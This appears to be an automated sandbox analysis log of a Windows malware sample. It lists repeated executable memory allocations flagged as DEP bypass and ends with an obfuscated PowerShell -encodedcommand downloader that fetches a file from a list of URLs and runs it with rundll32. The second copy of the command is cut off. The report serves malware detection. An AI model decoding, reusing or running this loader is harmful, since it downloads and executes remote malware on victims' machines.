heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f5c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f43000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f44000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f45000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f46000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f47000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f48000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f49000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c53000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c54000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c55000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c56000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c57000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c59000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c5a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c5b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c5c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c5d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c5e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c5f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c61000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c62000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c63000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2692
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04c64000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAbABlAHQAaQBhAG4ARABpAHMAYwBvAG0AZgBvAHIAdABpAG4AZwBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBOAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE8AQQBBAHoAQQBDADQAQQBPAFEAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAMQBBAEcAMABBAEwAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBFAEEAYgBnAEIANQBBAEEAPQA9ACIAOwAkAFAAcgBlAGQAYQB3AG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAVQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgBLAEEARwBFAEEAZQBRAEIAMwBBAEcARQBBAGIAQQBCAHIAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwB3AEIAagBBAEcAOABBAGQAQQBBAHYAQQBGAEUAQQBaAFEAQgBwAEEARgBVAEEAUQBRAEEAdgBBAEQAUQBBAFQAdwBBAHcAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQA0AEEAQwA0AEEATQBRAEEAeQBBAEQAZwBBAEwAdwBCAG0AQQBEAEEAQQBXAGcAQgBMAEEAQwA4AEEAUwBRAEEAPQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEANABBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAHYAQQBHADQAQQBXAGcAQgBJAEEARABRAEEAVwBRAEEAdgBBAEcAYwBBAFEAUQBBADQAQQBFAHMAQQBUAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATAB3AEEAeABBAEUAMABBAE4AdwBBAHYAQQBHAGMAQQBPAFEAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBaAEEAQgBoAEEARwAwAEEAWQBRAEIAdQBBAEgAUQBBAGIAdwBCAGkAQQBHAHcAQQBZAFEAQgB6AEEASABRAEEAVQBBAEIAbABBAEgASQBBAGIAQQBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAQQBCAHMAQQBHAFUAQQBaAHcAQgBsAEEAQwA4AEEATQB3AEIAUABBAEQAWQBBAFMAZwBCAEwAQQBDADgAQQBUAFEAQgBKAEEARwBnAEEAcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAdwBCAHQAQQBHADAAQQBiAHcAQgB1AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBHAFUAQQBjAGcAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEMANABBAFkAZwBCAGgAQQBIAEkAQQBMAHcAQQA1AEEARABNAEEAUwBRAEIAeQBBAEMAOABBAE4AdwBCAFUAQQBFAG8AQQBOAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHcAQQBIAE0AQQBhAFEAQgBVAEEARwBNAEEATwBBAEIAMABBAEEAPQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA1AEEAQwA4AEEATgB3AEIANABBAEgAWQBBAGIAZwBCAG8AQQBEAEUAQQBXAFEAQQB2AEEASABjAEEAUwBnAEEAeQBBAEgAVQBBAE0AdwBCAEUAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgB3AEEAdwBBAEMAOABBAFkAdwBCAEUAQQBGAE0AQQBkAFEAQgBIAEEARwBJAEEATAB3AEIAUwBBAEgAYwBBAFYAZwBCAHYAQQBFADAAQQBSAHcAQgBwAEEARwBZAEEAUgB3AEIAVQBBAEEAPQA9ACIAOwAkAFoAbwBuAG8AcABsAGEAYwBlAG4AdABhAGwAaQBhAEUAdQBwAHIAYQBjAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBBAD0APQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAFEAQgA0AEEARwBFAEEAYgBRAEIAcABBAEcANABBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBJAEEARwA4AEEAYwBnAEIAegBBAEcAVQBBAFkAZwBCAGwAQQBHAEUAQQBiAGcAQQB1AEEARwBFAEEAZABBAEEAPQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBkAFEAQgBpAEEARwBrAEEAYwBRAEIAMQBBAEcAawBBAGQAQQBCAHYAQQBIAFUAQQBjAHcAQgB1AEEARwBVAEEAYwB3AEIAegBBAEMANABBAGMAZwBCAGwAQQBHAGsAQQBjAHcAQgBsAEEAQQA9AD0AYwBBAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEANQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAMABBAEEAPQA9ACIAOwAkAFMAZQBtAGkAbABlAGcAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABVAEEATABnAEEANQBBAEQAYwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAbwBuAGUAdAB0AGEAIABpAG4AIAAkAFAAcgBlAGQAYQB3AG4AcwAgAC0AcwBwAGwAaQB0ACAAIgByAFAAIgApACAAewB0AHIAeQAgAHsAJABNAHUAcwByAG8AbABOAGUAdwBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBIAEkAQQBlAFEAQQB1AEEARwB3AEEAYQBRAEIAMgBBAEcAVQBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEcAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBsAEEASABNAEEATABnAEIAcwBBAEcAOABBAGIAZwBCAGsAQQBHADgAQQBiAGcAQQA9AEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AQQBBAD0AIgA7ACQAaQByAGkAZABlAHMAYwBlAG4AYwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBIAFUAQQBZAGcAQgAxAEEARwB3AEEAYQBRAEIAawBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBkAEEAQgBoAEEAQwA0AEEAWgB3AEIAaABBAEcAMABBAFoAUQBCAHoAQQBBAD0APQBTAE4APQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGMAQQBiAHcAQgBrAEEARwBRAEEAYQBRAEIAcgBBAEcAawBBAGIAZwBCAEIAQQBHAE0AQQBZAHcAQgBwAEEARwBRAEEAYQBRAEIAbABBAEMANABBAGQAZwBCAHYAQQBIAGsAQQBZAFEAQgBuAEEARwBVAEEAUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAagBBAEgASQBBAFoAUQBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBjAEEAYQBRAEIAaABBAEMANABBAGMAQQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEAQQA9AD0AUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQAawBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAVQBBACIAOwAkAGMAdQBtAHUAbABlAG4AZQBTAHQAeQBsAGEAdABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAbwBuAGUAdAB0AGEAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAHUAbQB1AGwAZQBuAGUAUwB0AHkAbABhAHQAZQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABzAHQAdQBtAHAAYQBnAGUAcwAuAFMAaABhAG4AZwBoAGEAaQBpAG4AZwA7ACQAVQBuAGcAYQB6AGkAbgBnAFQAZQBwAGgAcgBpAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADQAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFEAQQBOAFEAQQA9AHAAbAB5AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AZwBBADAAQQBEAGMAQQBMAGcAQQA1AEEARABjAEEATABnAEEAeABBAEQAZwBBAE0AZwBBAD0AIgA7ACQAYQBjAGUAaQB0AHUAbgBhAE4AbwBuAHMAcABlAGMAdQBsAGEAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATQBRAEEAdQBBAEQARQBBAE4AZwBBADEAQQBDADQAQQBNAGcAQQB3AEEARABVAEEAQQBoAFcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBVAEEASABJAEEAYQBRAEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBiAHcAQgBsAEEASABRAEEAYQBBAEIAaABBAEcANABBAFoAUQBBAHUAQQBHAHMAQQBhAFEAQgAwAEEARwBNAEEAYQBBAEIAbABBAEcANABBAEEAaABXAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHUAQQBHAFEAQQBaAFEAQgB5AEEARwBFAEEAYgBnAEIAMABBAEUAYwBBAGMAZwBCAGgAQQBIAE0AQQBjAHcAQgBqAEEARwBnAEEAWQBRAEIAMABBAEMANABBAGQAUQBCAHUAQQBHAGsAQQBkAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEgAUQBBAGUAUQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAcwB0AHUAbQBwAGEAZwBlAHMALgBTAGgAYQBuAGcAaABhAGkAaQBuAGcAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAOAAxADYANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAMABBAEgAVQBBAGIAUQBCAHcAQQBHAEUAQQBaAHcAQgBsAEEASABNAEEATABnAEIAVABBAEcAZwBBAFkAUQBCAHUAQQBHAGMAQQBhAEEAQgBoAEEARwBrAEEAYQBRAEIAdQBBAEcAYwBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAdAByAGkAZwBvAG4AbwBjAGUAcABoAGEAbAB5AEMAbwBuAHQAcgBhAHMAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABJAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEEAPQA9AEwAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAYwB3AEIAMABBAEcARQBBAFoAZwBCAG0AQQBDADQAQQBaAEEAQgBsAEEAQQA9AD0ATABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcATQBBAGIAdwBCAHcAQQBIAFUAQQBiAEEAQgB2AEEASABVAEEAYwB3AEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAaABBAEcAdwBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
cmdline powershell -encodedcommand "JABNAGUAbABlAHQAaQBhAG4ARABpAHMAYwBvAG0AZgBvAHIAdABpAG4AZwBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBOAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE8AQQBBAHoAQQBDADQAQQBPAFEAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAMQBBAEcAMABBAEwAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBFAEEAYgBnAEIANQBBAEEAPQA9ACIAOwAkAFAAcgBlAGQAYQB3AG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAVQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgBLAEEARwBFAEEAZQBRAEIAMwBBAEcARQBBAGIAQQBCAHIAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwB3AEIAagBBAEcAOABBAGQAQQBBAHYAQQBGAEUAQQBaAFEAQgBwAEEARgBVAEEAUQBRAEEAdgBBAEQAUQBBAFQAdwBBAHcAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQA0AEEAQwA0AEEATQBRAEEAeQBBAEQAZwBBAEwAdwBCAG0AQQBEAEEAQQBXAGcAQgBMAEEAQwA4AEEAUwBRAEEAPQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEANABBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAHYAQQBHADQAQQBXAGcAQgBJAEEARABRAEEAVwBRAEEAdgBBAEcAYwBBAFEAUQBBADQAQQBFAHMAQQBUAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATAB3AEEAeABBAEUAMABBAE4AdwBBAHYAQQBHAGMAQQBPAFEAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBaAEEAQgBoAEEARwAwAEEAWQBRAEIAdQBBAEgAUQBBAGIAdwBCAGkAQQBHAHcAQQBZAFEAQgB6AEEASABRAEEAVQBBAEIAbABBAEgASQBBAGIAQQBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAQQBCAHMAQQBHAFUAQQBaAHcAQgBsAEEAQwA4AEEATQB3AEIAUABBAEQAWQBBAFMAZwBCAEwAQQBDADgAQQBUAFEAQgBKAEEARwBnAEEAcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAdwBCAHQAQQBHADAAQQBiAHcAQgB1AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBHAFUAQQBjAGcAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEMANABBAFkAZwBCAGgAQQBIAEkAQQBMAHcAQQA1AEEARABNAEEAUwBRAEIAeQBBAEMAOABBAE4AdwBCAFUAQQBFAG8AQQBOAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHcAQQBIAE0AQQBhAFEAQgBVAEEARwBNAEEATwBBAEIAMABBAEEAPQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA1AEEAQwA4AEEATgB3AEIANABBAEgAWQBBAGIAZwBCAG8AQQBEAEUAQQBXAFEAQQB2AEEASABjAEEAUwBnAEEAeQBBAEgAVQBBAE0AdwBCAEUAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgB3AEEAdwBBAEMAOABBAFkAdwBCAEUAQQBGAE0AQQBkAFEAQgBIAEEARwBJAEEATAB3AEIAUwBBAEgAYwBBAFYAZwBCAHYAQQBFADAAQQBSAHcAQgBwAEEARwBZAEEAUgB3AEIAVQBBAEEAPQA9ACIAOwAkAFoAbwBuAG8AcABsAGEAYwBlAG4AdABhAGwAaQBhAEUAdQBwAHIAYQBjAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBB